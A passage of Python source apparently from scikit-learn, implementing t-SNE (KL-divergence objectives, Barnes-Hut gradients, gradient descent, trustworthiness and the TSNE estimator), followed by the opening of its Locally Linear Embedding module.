    Returns
    -------
    P : array, shape (n_samples * (n_samples-1) / 2,)
        Condensed joint probability matrix.
    """
    # Compute conditional probabilities such that they approximately match
    # the desired perplexity
    distances = astype(distances, np.float32, copy=False)
    neighbors = astype(neighbors, np.int64, copy=False)
    conditional_P = _utils._binary_search_perplexity(
        distances, neighbors, desired_perplexity, verbose)
    m = "All probabilities should be finite"
    assert np.all(np.isfinite(conditional_P)), m
    P = conditional_P + conditional_P.T
    sum_P = np.maximum(np.sum(P), MACHINE_EPSILON)
    P = np.maximum(squareform(P) / sum_P, MACHINE_EPSILON)
    assert np.all(np.abs(P) <= 1.0)
    return P


def _kl_divergence(params, P, degrees_of_freedom, n_samples, n_components,
                   skip_num_points=0):
    """t-SNE objective function: gradient of the KL divergence
    of p_ijs and q_ijs and the absolute error.

    Parameters
    ----------
    params : array, shape (n_params,)
        Unraveled embedding.

    P : array, shape (n_samples * (n_samples-1) / 2,)
        Condensed joint probability matrix.

    degrees_of_freedom : float
        Degrees of freedom of the Student's-t distribution.

    n_samples : int
        Number of samples.

    n_components : int
        Dimension of the embedded space.

    skip_num_points : int (optional, default:0)
        This does not compute the gradient for points with indices below
        `skip_num_points`. This is useful when computing transforms of new
        data where you'd like to keep the old data fixed.

    Returns
    -------
    kl_divergence : float
        Kullback-Leibler divergence of p_ij and q_ij.

    grad : array, shape (n_params,)
        Unraveled gradient of the Kullback-Leibler divergence with respect to
        the embedding.
    """
    X_embedded = params.reshape(n_samples, n_components)

    # Q is a heavy-tailed distribution: Student's t-distribution
    n = pdist(X_embedded, "sqeuclidean")
    n += 1.
    n /= degrees_of_freedom
    n **= (degrees_of_freedom + 1.0) / -2.0
    Q = np.maximum(n / (2.0 * np.sum(n)), MACHINE_EPSILON)

    # Optimization trick below: np.dot(x, y) is faster than
    # np.sum(x * y) because it calls BLAS

    # Objective: C (Kullback-Leibler divergence of P and Q)
    kl_divergence = 2.0 * np.dot(P, np.log(P / Q))

    # Gradient: dC/dY
    grad = np.ndarray((n_samples, n_components))
    PQd = squareform((P - Q) * n)
    for i in range(skip_num_points, n_samples):
        np.dot(_ravel(PQd[i]), X_embedded[i] - X_embedded, out=grad[i])
    grad = grad.ravel()
    c = 2.0 * (degrees_of_freedom + 1.0) / degrees_of_freedom
    grad *= c

    return kl_divergence, grad


def _kl_divergence_error(params, P, neighbors, degrees_of_freedom, n_samples,
                         n_components):
    """t-SNE objective function: the absolute error of the
    KL divergence of p_ijs and q_ijs.

    Parameters
    ----------
    params : array, shape (n_params,)
        Unraveled embedding.

    P : array, shape (n_samples * (n_samples-1) / 2,)
        Condensed joint probability matrix.

    neighbors : array (n_samples, K)
        The neighbors is not actually required to calculate the
        divergence, but is here to match the signature of the
        gradient function

    degrees_of_freedom : float
        Degrees of freedom of the Student's-t distribution.

    n_samples : int
        Number of samples.

    n_components : int
        Dimension of the embedded space.

    Returns
    -------
    kl_divergence : float
        Kullback-Leibler divergence of p_ij and q_ij.

    grad : array, shape (n_params,)
        Unraveled gradient of the Kullback-Leibler divergence with respect to
        the embedding.
    """
    X_embedded = params.reshape(n_samples, n_components)

    # Q is a heavy-tailed distribution: Student's t-distribution
    n = pdist(X_embedded, "sqeuclidean")
    n += 1.
    n /= degrees_of_freedom
    n **= (degrees_of_freedom + 1.0) / -2.0
    Q = np.maximum(n / (2.0 * np.sum(n)), MACHINE_EPSILON)

    # Optimization trick below: np.dot(x, y) is faster than
    # np.sum(x * y) because it calls BLAS

    # Objective: C (Kullback-Leibler divergence of P and Q)
    if len(P.shape) == 2:
        P = squareform(P)
    kl_divergence = 2.0 * np.dot(P, np.log(P / Q))

    return kl_divergence


def _kl_divergence_bh(params, P, neighbors, degrees_of_freedom, n_samples,
                      n_components, angle=0.5, skip_num_points=0,
                      verbose=False):
    """t-SNE objective function: KL divergence of p_ijs and q_ijs.

    Uses Barnes-Hut tree methods to calculate the gradient that
    runs in O(NlogN) instead of O(N^2)

    Parameters
    ----------
    params : array, shape (n_params,)
        Unraveled embedding.

    P : array, shape (n_samples * (n_samples-1) / 2,)
        Condensed joint probability matrix.

    neighbors: int64 array, shape (n_samples, K)
        Array with element [i, j] giving the index for the jth
        closest neighbor to point i.

    degrees_of_freedom : float
        Degrees of freedom of the Student's-t distribution.

    n_samples : int
        Number of samples.

    n_components : int
        Dimension of the embedded space.

    angle : float (default: 0.5)
        This is the trade-off between speed and accuracy for Barnes-Hut T-SNE.
        'angle' is the angular size (referred to as theta in [3]) of a distant
        node as measured from a point. If this size is below 'angle' then it is
        used as a summary node of all points contained within it.
        This method is not very sensitive to changes in this parameter
        in the range of 0.2 - 0.8. Angle less than 0.2 has quickly increasing
        computation time and angle greater 0.8 has quickly increasing error.

    skip_num_points : int (optional, default:0)
        This does not compute the gradient for points with indices below
        `skip_num_points`. This is useful when computing transforms of new
        data where you'd like to keep the old data fixed.

    verbose : int
        Verbosity level.

    Returns
    -------
    kl_divergence : float
        Kullback-Leibler divergence of p_ij and q_ij.

    grad : array, shape (n_params,)
        Unraveled gradient of the Kullback-Leibler divergence with respect to
        the embedding.
    """
    params = astype(params, np.float32, copy=False)
    X_embedded = params.reshape(n_samples, n_components)
    neighbors = astype(neighbors, np.int64, copy=False)
    if len(P.shape) == 1:
        sP = squareform(P).astype(np.float32)
    else:
        sP = P.astype(np.float32)

    grad = np.zeros(X_embedded.shape, dtype=np.float32)
    error = _barnes_hut_tsne.gradient(sP, X_embedded, neighbors,
                                      grad, angle, n_components, verbose,
                                      dof=degrees_of_freedom)
    c = 2.0 * (degrees_of_freedom + 1.0) / degrees_of_freedom
    grad = grad.ravel()
    grad *= c

    return error, grad


def _gradient_descent(objective, p0, it, n_iter, objective_error=None,
                      n_iter_check=1, n_iter_without_progress=50,
                      momentum=0.5, learning_rate=1000.0, min_gain=0.01,
                      min_grad_norm=1e-7, min_error_diff=1e-7, verbose=0,
                      args=None, kwargs=None):
    """Batch gradient descent with momentum and individual gains.

    Parameters
    ----------
    objective : function or callable
        Should return a tuple of cost and gradient for a given parameter
        vector. When expensive to compute, the cost can optionally
        be None and can be computed every n_iter_check steps using
        the objective_error function.

    p0 : array-like, shape (n_params,)
        Initial parameter vector.

    it : int
        Current number of iterations (this function will be called more than
        once during the optimization).

    n_iter : int
        Maximum number of gradient descent iterations.

    n_iter_check : int
        Number of iterations before evaluating the global error. If the error
        is sufficiently low, we abort the optimization.

    objective_error : function or callable
        Should return a tuple of cost and gradient for a given parameter
        vector.

    n_iter_without_progress : int, optional (default: 30)
        Maximum number of iterations without progress before we abort the
        optimization.

    momentum : float, within (0.0, 1.0), optional (default: 0.5)
        The momentum generates a weight for previous gradients that decays
        exponentially.

    learning_rate : float, optional (default: 1000.0)
        The learning rate should be extremely high for t-SNE! Values in the
        range [100.0, 1000.0] are common.

    min_gain : float, optional (default: 0.01)
        Minimum individual gain for each parameter.

    min_grad_norm : float, optional (default: 1e-7)
        If the gradient norm is below this threshold, the optimization will
        be aborted.

    min_error_diff : float, optional (default: 1e-7)
        If the absolute difference of two successive cost function values
        is below this threshold, the optimization will be aborted.

    verbose : int, optional (default: 0)
        Verbosity level.

    args : sequence
        Arguments to pass to objective function.

    kwargs : dict
        Keyword arguments to pass to objective function.

    Returns
    -------
    p : array, shape (n_params,)
        Optimum parameters.

    error : float
        Optimum.

    i : int
        Last iteration.
    """
    if args is None:
        args = []
    if kwargs is None:
        kwargs = {}

    p = p0.copy().ravel()
    update = np.zeros_like(p)
    gains = np.ones_like(p)
    error = np.finfo(np.float).max
    best_error = np.finfo(np.float).max
    best_iter = 0

    for i in range(it, n_iter):
        new_error, grad = objective(p, *args, **kwargs)
        grad_norm = linalg.norm(grad)

        inc = update * grad >= 0.0
        dec = np.invert(inc)
        gains[inc] += 0.05
        gains[dec] *= 0.95
        np.clip(gains, min_gain, np.inf)
        grad *= gains
        update = momentum * update - learning_rate * grad
        p += update

        if (i + 1) % n_iter_check == 0:
            if new_error is None:
                new_error = objective_error(p, *args)
            error_diff = np.abs(new_error - error)
            error = new_error

            if verbose >= 2:
                m = "[t-SNE] Iteration %d: error = %.7f, gradient norm = %.7f"
                print(m % (i + 1, error, grad_norm))

            if error < best_error:
                best_error = error
                best_iter = i
            elif i - best_iter > n_iter_without_progress:
                if verbose >= 2:
                    print("[t-SNE] Iteration %d: did not make any progress "
                          "during the last %d episodes. Finished."
                          % (i + 1, n_iter_without_progress))
                break
            if grad_norm <= min_grad_norm:
                if verbose >= 2:
                    print("[t-SNE] Iteration %d: gradient norm %f. Finished."
                          % (i + 1, grad_norm))
                break
            if error_diff <= min_error_diff:
                if verbose >= 2:
                    m = "[t-SNE] Iteration %d: error difference %f. Finished."
                    print(m % (i + 1, error_diff))
                break

        if new_error is not None:
            error = new_error

    return p, error, i


def trustworthiness(X, X_embedded, n_neighbors=5, precomputed=False):
    """Expresses to what extent the local structure is retained.

    The trustworthiness is within [0, 1]. It is defined as

    .. math::

        T(k) = 1 - \frac{2}{nk (2n - 3k - 1)} \sum^n_{i=1}
            \sum_{j \in U^{(k)}_i (r(i, j) - k)}

    where :math:`r(i, j)` is the rank of the embedded datapoint j
    according to the pairwise distances between the embedded datapoints,
    :math:`U^{(k)}_i` is the set of points that are in the k nearest
    neighbors in the embedded space but not in the original space.

    * "Neighborhood Preservation in Nonlinear Projection Methods: An
      Experimental Study"
      J. Venna, S. Kaski
    * "Learning a Parametric Embedding by Preserving Local Structure"
      L.J.P. van der Maaten

    Parameters
    ----------
    X : array, shape (n_samples, n_features) or (n_samples, n_samples)
        If the metric is 'precomputed' X must be a square distance
        matrix. Otherwise it contains a sample per row.

    X_embedded : array, shape (n_samples, n_components)
        Embedding of the training data in low-dimensional space.

    n_neighbors : int, optional (default: 5)
        Number of neighbors k that will be considered.

    precomputed : bool, optional (default: False)
        Set this flag if X is a precomputed square distance matrix.

    Returns
    -------
    trustworthiness : float
        Trustworthiness of the low-dimensional embedding.
    """
    if precomputed:
        dist_X = X
    else:
        dist_X = pairwise_distances(X, squared=True)
    dist_X_embedded = pairwise_distances(X_embedded, squared=True)
    ind_X = np.argsort(dist_X, axis=1)
    ind_X_embedded = np.argsort(dist_X_embedded, axis=1)[:, 1:n_neighbors + 1]

    n_samples = X.shape[0]
    t = 0.0
    ranks = np.zeros(n_neighbors)
    for i in range(n_samples):
        for j in range(n_neighbors):
            ranks[j] = np.where(ind_X[i] == ind_X_embedded[i, j])[0][0]
        ranks -= n_neighbors
        t += np.sum(ranks[ranks > 0])
    t = 1.0 - t * (2.0 / (n_samples * n_neighbors *
                          (2.0 * n_samples - 3.0 * n_neighbors - 1.0)))
    return t


class TSNE(BaseEstimator):
    """t-distributed Stochastic Neighbor Embedding.

    t-SNE [1] is a tool to visualize high-dimensional data. It converts
    similarities between data points to joint probabilities and tries
    to minimize the Kullback-Leibler divergence between the joint
    probabilities of the low-dimensional embedding and the
    high-dimensional data. t-SNE has a cost function that is not convex,
    i.e. with different initializations we can get different results.

    It is highly recommended to use another dimensionality reduction
    method (e.g. PCA for dense data or TruncatedSVD for sparse data)
    to reduce the number of dimensions to a reasonable amount (e.g. 50)
    if the number of features is very high. This will suppress some
    noise and speed up the computation of pairwise distances between
    samples. For more tips see Laurens van der Maaten's FAQ [2].

    Read more in the :ref:`User Guide <t_sne>`.

    Parameters
    ----------
    n_components : int, optional (default: 2)
        Dimension of the embedded space.

    perplexity : float, optional (default: 30)
        The perplexity is related to the number of nearest neighbors that
        is used in other manifold learning algorithms. Larger datasets
        usually require a larger perplexity. Consider selecting a value
        between 5 and 50. The choice is not extremely critical since t-SNE
        is quite insensitive to this parameter.

    early_exaggeration : float, optional (default: 4.0)
        Controls how tight natural clusters in the original space are in
        the embedded space and how much space will be between them. For
        larger values, the space between natural clusters will be larger
        in the embedded space. Again, the choice of this parameter is not
        very critical. If the cost function increases during initial
        optimization, the early exaggeration factor or the learning rate
        might be too high.

    learning_rate : float, optional (default: 1000)
        The learning rate can be a critical parameter. It should be
        between 100 and 1000. If the cost function increases during initial
        optimization, the early exaggeration factor or the learning rate
        might be too high. If the cost function gets stuck in a bad local
        minimum increasing the learning rate helps sometimes.

    n_iter : int, optional (default: 1000)
        Maximum number of iterations for the optimization. Should be at
        least 200.

    n_iter_without_progress : int, optional (default: 30)
        Maximum number of iterations without progress before we abort the
        optimization.

        .. versionadded:: 0.17
           parameter *n_iter_without_progress* to control stopping criteria.

    min_grad_norm : float, optional (default: 1E-7)
        If the gradient norm is below this threshold, the optimization will
        be aborted.

    metric : string or callable, optional
        The metric to use when calculating distance between instances in a
        feature array. If metric is a string, it must be one of the options
        allowed by scipy.spatial.distance.pdist for its metric parameter, or
        a metric listed in pairwise.PAIRWISE_DISTANCE_FUNCTIONS.
        If metric is "precomputed", X is assumed to be a distance matrix.
        Alternatively, if metric is a callable function, it is called on each
        pair of instances (rows) and the resulting value recorded. The callable
        should take two arrays from X as input and return a value indicating
        the distance between them. The default is "euclidean" which is
        interpreted as squared euclidean distance.

    init : string, optional (default: "random")
        Initialization of embedding. Possible options are 'random' and 'pca'.
        PCA initialization cannot be used with precomputed distances and is
        usually more globally stable than random initialization.

    verbose : int, optional (default: 0)
        Verbosity level.

    random_state : int or RandomState instance or None (default)
        Pseudo Random Number generator seed control. If None, use the
        numpy.random singleton. Note that different initializations
        might result in different local minima of the cost function.

    method : string (default: 'barnes_hut')
        By default the gradient calculation algorithm uses Barnes-Hut
        approximation running in O(NlogN) time. method='exact'
        will run on the slower, but exact, algorithm in O(N^2) time. The
        exact algorithm should be used when nearest-neighbor errors need
        to be better than 3%. However, the exact method cannot scale to
        millions of examples.

        .. versionadded:: 0.17
           Approximate optimization *method* via the Barnes-Hut.

    angle : float (default: 0.5)
        Only used if method='barnes_hut'
        This is the trade-off between speed and accuracy for Barnes-Hut T-SNE.
        'angle' is the angular size (referred to as theta in [3]) of a distant
        node as measured from a point. If this size is below 'angle' then it is
        used as a summary node of all points contained within it.
        This method is not very sensitive to changes in this parameter
        in the range of 0.2 - 0.8. Angle less than 0.2 has quickly increasing
        computation time and angle greater 0.8 has quickly increasing error.


    Attributes
    ----------
    embedding_ : array-like, shape (n_samples, n_components)
        Stores the embedding vectors.

    kl_divergence_ : float
        Kullback-Leibler divergence after optimization.

    Examples
    --------

    >>> import numpy as np
    >>> from sklearn.manifold import TSNE
    >>> X = np.array([[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 1]])
    >>> model = TSNE(n_components=2, random_state=0)
    >>> np.set_printoptions(suppress=True)
    >>> model.fit_transform(X) # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE
    array([[ 0.00017599,  0.00003993],
           [ 0.00009891,  0.00021913],
           [ 0.00018554, -0.00009357],
           [ 0.00009528, -0.00001407]])

    References
    ----------

    [1] van der Maaten, L.J.P.; Hinton, G.E. Visualizing High-Dimensional Data
        Using t-SNE. Journal of Machine Learning Research 9:2579-2605, 2008.

    [2] van der Maaten, L.J.P. t-Distributed Stochastic Neighbor Embedding
        http://homepage.tudelft.nl/19j49/t-SNE.html

    [3] L.J.P. van der Maaten. Accelerating t-SNE using Tree-Based Algorithms.
        Journal of Machine Learning Research 15(Oct):3221-3245, 2014.
        http://lvdmaaten.github.io/publications/papers/JMLR_2014.pdf
    """

    def __init__(self, n_components=2, perplexity=30.0,
                 early_exaggeration=4.0, learning_rate=1000.0, n_iter=1000,
                 n_iter_without_progress=30, min_grad_norm=1e-7,
                 metric="euclidean", init="random", verbose=0,
                 random_state=None, method='barnes_hut', angle=0.5):
        if init not in ["pca", "random"] or isinstance(init, np.ndarray):
            msg = "'init' must be 'pca', 'random' or a NumPy array"
            raise ValueError(msg)
        self.n_components = n_components
        self.perplexity = perplexity
        self.early_exaggeration = early_exaggeration
        self.learning_rate = learning_rate
        self.n_iter = n_iter
        self.n_iter_without_progress = n_iter_without_progress
        self.min_grad_norm = min_grad_norm
        self.metric = metric
        self.init = init
        self.verbose = verbose
        self.random_state = random_state
        self.method = method
        self.angle = angle
        self.embedding_ = None

    def _fit(self, X, skip_num_points=0):
        """Fit the model using X as training data.

        Note that sparse arrays can only be handled by method='exact'.
        It is recommended that you convert your sparse array to dense
        (e.g. `X.toarray()`) if it fits in memory, or otherwise using a
        dimensionality reduction technique (e.g. TruncatedSVD).

        Parameters
        ----------
        X : array, shape (n_samples, n_features) or (n_samples, n_samples)
            If the metric is 'precomputed' X must be a square distance
            matrix. Otherwise it contains a sample per row. Note that this
            when method='barnes_hut', X cannot be a sparse array and if need be
            will be converted to a 32 bit float array. Method='exact' allows
            sparse arrays and 64bit floating point inputs.

        skip_num_points : int (optional, default:0)
            This does not compute the gradient for points with indices below
            `skip_num_points`. This is useful when computing transforms of new
            data where you'd like to keep the old data fixed.
        """
        if self.method not in ['barnes_hut', 'exact']:
            raise ValueError("'method' must be 'barnes_hut' or 'exact'")
        if self.angle < 0.0 or self.angle > 1.0:
            raise ValueError("'angle' must be between 0.0 - 1.0")
        if self.method == 'barnes_hut' and sp.issparse(X):
            raise TypeError('A sparse matrix was passed, but dense '
                            'data is required for method="barnes_hut". Use '
                            'X.toarray() to convert to a dense numpy array if '
                            'the array is small enough for it to fit in '
                            'memory. Otherwise consider dimensionality '
                            'reduction techniques (e.g. TruncatedSVD)')
        else:
            X = check_array(X, accept_sparse=['csr', 'csc', 'coo'],
                            dtype=np.float64)
        random_state = check_random_state(self.random_state)

        if self.early_exaggeration < 1.0:
            raise ValueError("early_exaggeration must be at least 1, but is "
                             "%f" % self.early_exaggeration)

        if self.n_iter < 200:
            raise ValueError("n_iter should be at least 200")

        if self.metric == "precomputed":
            if self.init == 'pca':
                raise ValueError("The parameter init=\"pca\" cannot be used "
                                 "with metric=\"precomputed\".")
            if X.shape[0] != X.shape[1]:
                raise ValueError("X should be a square distance matrix")
            distances = X
        else:
            if self.verbose:
                print("[t-SNE] Computing pairwise distances...")

            if self.metric == "euclidean":
                distances = pairwise_distances(X, metric=self.metric,
                                               squared=True)
            else:
                distances = pairwise_distances(X, metric=self.metric)

        if not np.all(distances >= 0):
            raise ValueError("All distances should be positive, either "
                             "the metric or precomputed distances given "
                             "as X are not correct")

        # Degrees of freedom of the Student's t-distribution. The suggestion
        # degrees_of_freedom = n_components - 1 comes from
        # "Learning a Parametric Embedding by Preserving Local Structure"
        # Laurens van der Maaten, 2009.
        degrees_of_freedom = max(self.n_components - 1.0, 1)
        n_samples = X.shape[0]
        # the number of nearest neighbors to find
        k = min(n_samples - 1, int(3. * self.perplexity + 1))

        neighbors_nn = None
        if self.method == 'barnes_hut':
            if self.verbose:
                print("[t-SNE] Computing %i nearest neighbors..." % k)
            if self.metric == 'precomputed':
                # Use the precomputed distances to find
                # the k nearest neighbors and their distances
                neighbors_nn = np.argsort(distances, axis=1)[:, :k]
            else:
                # Find the nearest neighbors for every point
                bt = BallTree(X)
                # LvdM uses 3 * perplexity as the number of neighbors
                # And we add one to not count the data point itself
                # In the event that we have very small # of points
                # set the neighbors to n - 1
                distances_nn, neighbors_nn = bt.query(X, k=k + 1)
                neighbors_nn = neighbors_nn[:, 1:]
            P = _joint_probabilities_nn(distances, neighbors_nn,
                                        self.perplexity, self.verbose)
        else:
            P = _joint_probabilities(distances, self.perplexity, self.verbose)
        assert np.all(np.isfinite(P)), "All probabilities should be finite"
        assert np.all(P >= 0), "All probabilities should be zero or positive"
        assert np.all(P <= 1), ("All probabilities should be less "
                                "or then equal to one")

        if self.init == 'pca':
            pca = PCA(n_components=self.n_components, svd_solver='randomized',
                      random_state=random_state)
            X_embedded = pca.fit_transform(X)
        elif isinstance(self.init, np.ndarray):
            X_embedded = self.init
        elif self.init == 'random':
            X_embedded = None
        else:
            raise ValueError("Unsupported initialization scheme: %s"
                             % self.init)

        return self._tsne(P, degrees_of_freedom, n_samples, random_state,
                          X_embedded=X_embedded,
                          neighbors=neighbors_nn,
                          skip_num_points=skip_num_points)

    def _tsne(self, P, degrees_of_freedom, n_samples, random_state,
              X_embedded=None, neighbors=None, skip_num_points=0):
        """Runs t-SNE."""
        # t-SNE minimizes the Kullback-Leiber divergence of the Gaussians P
        # and the Student's t-distributions Q. The optimization algorithm that
        # we use is batch gradient descent with three stages:
        # * early exaggeration with momentum 0.5
        # * early exaggeration with momentum 0.8
        # * final optimization with momentum 0.8
        # The embedding is initialized with iid samples from Gaussians with
        # standard deviation 1e-4.

        if X_embedded is None:
            # Initialize embedding randomly
            X_embedded = 1e-4 * random_state.randn(n_samples,
                                                   self.n_components)
        params = X_embedded.ravel()

        opt_args = {}
        opt_args = {"n_iter": 50, "momentum": 0.5, "it": 0,
                    "learning_rate": self.learning_rate,
                    "verbose": self.verbose, "n_iter_check": 25,
                    "kwargs": dict(skip_num_points=skip_num_points)}
        if self.method == 'barnes_hut':
            m = "Must provide an array of neighbors to use Barnes-Hut"
            assert neighbors is not None, m
            obj_func = _kl_divergence_bh
            objective_error = _kl_divergence_error
            sP = squareform(P).astype(np.float32)
            neighbors = neighbors.astype(np.int64)
            args = [sP, neighbors, degrees_of_freedom, n_samples,
                    self.n_components]
            opt_args['args'] = args
            opt_args['min_grad_norm'] = 1e-3
            opt_args['n_iter_without_progress'] = 30
            # Don't always calculate the cost since that calculation
            # can be nearly as expensive as the gradient
            opt_args['objective_error'] = objective_error
            opt_args['kwargs']['angle'] = self.angle
            opt_args['kwargs']['verbose'] = self.verbose
        else:
            obj_func = _kl_divergence
            opt_args['args'] = [P, degrees_of_freedom, n_samples,
                                self.n_components]
            opt_args['min_error_diff'] = 0.0
            opt_args['min_grad_norm'] = 0.0

        # Early exaggeration
        P *= self.early_exaggeration

        params, kl_divergence, it = _gradient_descent(obj_func, params,
                                                      **opt_args)
        opt_args['n_iter'] = 100
        opt_args['momentum'] = 0.8
        opt_args['it'] = it + 1
        params, kl_divergence, it = _gradient_descent(obj_func, params,
                                                      **opt_args)
        if self.verbose:
            print("[t-SNE] KL divergence after %d iterations with early "
                  "exaggeration: %f" % (it + 1, kl_divergence))
        # Save the final number of iterations
        self.n_iter_final = it

        # Final optimization
        P /= self.early_exaggeration
        opt_args['n_iter'] = self.n_iter
        opt_args['it'] = it + 1
        params, error, it = _gradient_descent(obj_func, params, **opt_args)

        if self.verbose:
            print("[t-SNE] Error after %d iterations: %f"
                  % (it + 1, kl_divergence))

        X_embedded = params.reshape(n_samples, self.n_components)
        self.kl_divergence_ = kl_divergence

        return X_embedded

    def fit_transform(self, X, y=None):
        """Fit X into an embedded space and return that transformed
        output.

        Parameters
        ----------
        X : array, shape (n_samples, n_features) or (n_samples, n_samples)
            If the metric is 'precomputed' X must be a square distance
            matrix. Otherwise it contains a sample per row.

        Returns
        -------
        X_new : array, shape (n_samples, n_components)
            Embedding of the training data in low-dimensional space.
        """
        embedding = self._fit(X)
        self.embedding_ = embedding
        return self.embedding_

    def fit(self, X, y=None):
        """Fit X into an embedded space.

        Parameters
        ----------
        X : array, shape (n_samples, n_features) or (n_samples, n_samples)
            If the metric is 'precomputed' X must be a square distance
            matrix. Otherwise it contains a sample per row. If the method
            is 'exact', X may be a sparse matrix of type 'csr', 'csc'
            or 'coo'.
        """
        self.fit_transform(X)
        return self






"""Locally Linear Embedding"""

# Author: Fabian Pedregosa -- <fabian.pedregosa@inria.fr>
#         Jake Vanderplas  -- <vanderplas@astro.washington.edu>
# License: BSD 3 clause (C) INRIA 2011

import numpy as np
from scipy.linalg import eigh, svd, qr, solve
from scipy.sparse import eye, csr_matrix
from ..base import BaseEstimator, TransformerMixin
from ..utils import check_random_state, check_array
from ..utils.arpack import eigsh
from ..utils.validation import check_is_fitted
from ..utils.validation import FLOAT_DTYPES
from ..neighbors import NearestNeighbors


def barycenter_weights(X, Z, reg=1e-3):
    """Compute barycenter weights of X from Y along the first axis

    We estimate the weights to assign to each point in Y[i] to recover
    the point X[i]. The barycenter weights sum to 1.

    Parameters
    ----------
    X : array-like, shape (n_samples, n_dim)

    Z : array-like, shape (n_samples, n_neighbors, n_dim)

    reg: float, optional
        amount of regularization to add for the problem to be
        well-posed in the case of n_neighbors > n_dim

    Returns
    -------
    B : array-like, shape (n_samples, n_neighbors)

    Notes
    -----
    See developers note for more information.
    """
    X = check_array(X, dtype=FLOAT_DTYPES)
    Z = check_array(Z, dtype=FLOAT_DTYPES, allow_nd=True)

    n_samples, n_neighbors = X.shape[0], Z.shape[1]
    B = np.empty((n_samples, n_neighbors), dtype=X.dtype)
    v = np.ones(n_neighbors, dtype=X.dtype)

    # this might raise a LinalgError if G is singular and has trace
    # zero
    for i, A in enumerate(Z.transpose(0, 2, 1)):
        C = A.T - X[i]  # broadcasting
        G = np.dot(C, C.T)
        trace = np.trace(G)
        if trace > 0:
            R = reg * trace
        else:
            R = reg
        G.flat[::Z.shape[1] + 1] += R
        w = solve(G, v, sym_pos=True)
        B[i, :] = w / np.sum(w)
    return B


def barycenter_kneighbors_graph(X, n_neighbors, reg=1e-3, n_jobs=1):
    """Computes the barycenter weighted graph of k-Neighbors for points in X

    Parameters
    ----------
    X : {array-like, sparse matrix, BallTree, KDTree, NearestNeighbors}
        Sample data, shape = (n_samples, n_features), in the form of a
        numpy array, sparse array, precomputed tree, or NearestNeighbors
        object.

    n_neighbors : int
        Number of neighbors for each sample.

    reg : float, optional
        Amount of regularization when solving the least-squares
        problem. Only relevant if mode='barycenter'. If None, use the
        default.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run for neighbors search.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Returns
    -------
    A : sparse matrix in CSR format, shape = [n_samples, n_samples]
        A[i, j] is assigned the weight of edge that connects i to j.

    See also
    --------
    sklearn.neighbors.kneighbors_graph
    sklearn.neighbors.radius_neighbors_graph
    """
    knn = NearestNeighbors(n_neighbors + 1, n_jobs=n_jobs).fit(X)
    X = knn._fit_X
    n_samples = X.shape[0]
    ind = knn.kneighbors(X, return_distance=False)[:, 1:]
    data = barycenter_weights(X, X[ind], reg=reg)
    indptr = np.arange(0, n_samples * n_neighbors + 1, n_neighbors)
    return csr_matrix((data.ravel(), ind.ravel(), indptr),
                      shape=(n_samples, n_samples))


def null_space(M, k, k_skip=1, eigen_solver='arpack', tol=1E-6, max_iter=100,
               random_state=None):
    """
    Find the null space of a matrix M.

    Parameters
    ----------
    M : {array, matrix, sparse matrix, LinearOperator}
        Input covariance matrix: should be symmetric positive semi-definite

    k : integer
        Number of eigenvalues/vectors to return

    k_skip : integer, optional
        Number of low eigenvalues to skip.

    eigen_solver : string, {'auto', 'arpack', 'dense'}
        auto : algorithm will attempt to choose the best method for input data
        arpack : use arnoldi iteration in shift-invert mode.
                    For this method, M may be a dense matrix, sparse matrix,
                    or general linear operator.
                    Warning: ARPACK can be unstable for some problems.  It is
                    best to try several random seeds in order to check results.
        dense  : use standard dense matrix operations for the eigenvalue
                    decomposition.  For this method, M must be an array
                    or matrix type.  This method should be avoided for
                    large problems.

    tol : float, optional
        Tolerance for 'arpack' method.
        Not used if eigen_solver=='dense'.

    max_iter : maximum number of iterations for 'arpack' method
        not used if eigen_solver=='dense'

    random_state: numpy.RandomState or int, optional
        The generator or seed used to determine the starting vector for arpack
        iterations.  Defaults to numpy.random.

    """
    if eigen_solver == 'auto':
        if M.shape[0] > 200 and k + k_skip < 10:
            eigen_solver = 'arpack'
        else:
            eigen_solver = 'dense'

    if eigen_solver == 'arpack':
        random_state = check_random_state(random_state)
        # initialize with [-1,1] as in ARPACK
        v0 = random_state.uniform(-1, 1, M.shape[0])
        try:
            eigen_values, eigen_vectors = eigsh(M, k + k_skip, sigma=0.0,
                                                tol=tol, maxiter=max_iter,
                                                v0=v0)
        except RuntimeError as msg:
            raise ValueError("Error in determining null-space with ARPACK. "
                             "Error message: '%s'. "
                             "Note that method='arpack' can fail when the "
                             "weight matrix is singular or otherwise "
                             "ill-behaved.  method='dense' is recommended. "
                             "See online documentation for more information."
                             % msg)

        return eigen_vectors[:, k_skip:], np.sum(eigen_values[k_skip:])
    elif eigen_solver == 'dense':
        if hasattr(M, 'toarray'):
            M = M.toarray()
        eigen_values, eigen_vectors = eigh(
            M, eigvals=(k_skip, k + k_skip - 1), overwrite_a=True)
        index = np.argsort(np.abs(eigen_values))
        return eigen_vectors[:, index], np.sum(eigen_values)
    else:
        raise ValueError("Unrecognized eigen_solver '%s'" % eigen_solver)


def locally_linear_embedding(
        X, n_neighbors, n_components, reg=1e-3, eigen_solver='auto', tol=1e-6,
        max_iter=100, method='standard', hessian_tol=1E-4, modified_tol=1E-12,
        random_state=None, n_jobs=1):
    """Perform a Locally Linear Embedding analysis on the data.

    Read more in the :ref:`User Guide <locally_linear_embedding>`.

    Parameters
    ----------
    X : {array-like, sparse matrix, BallTree, KDTree, NearestNeighbors}
        Sample data, shape = (n_samples, n_features), in the form of a
        numpy array, sparse array, precomputed tree, or NearestNeighbors
        object.

    n_neighbors : integer
        number of neighbors to consider for each point.

    n_components : integer
        number of coordinates for the manifold.

    reg : float
        regularization constant, multiplies the trace of the local covariance
        matrix of the distances.

    eigen_solver : string, {'auto', 'arpack', 'dense'}
        auto : algorithm will attempt to choose the best method for input data

        arpack : use arnoldi iteration in shift-invert mode.
                    For this method, M may be a dense matrix, sparse matrix,
                    or general linear operator.
                    Warning: ARPACK can be unstable for some problems.  It is
                    best to try several random seeds in order to check results.

        dense  : use standard dense matrix operations for the eigenvalue
                    decomposition.  For this method, M must be an array
                    or matrix type.  This method should be avoided for
                    large problems.

    tol : float, optional
        Tolerance for 'arpack' method
        Not used if eigen_solver=='dense'.

    max_iter : integer
        maximum number of iterations for the arpack solver.

    method : {'standard', 'hessian', 'modified', 'ltsa'}
        standard : use the standard locally linear embedding algorithm.
                   see reference [1]_
        hessian  : use the Hessian eigenmap method.  This method requires
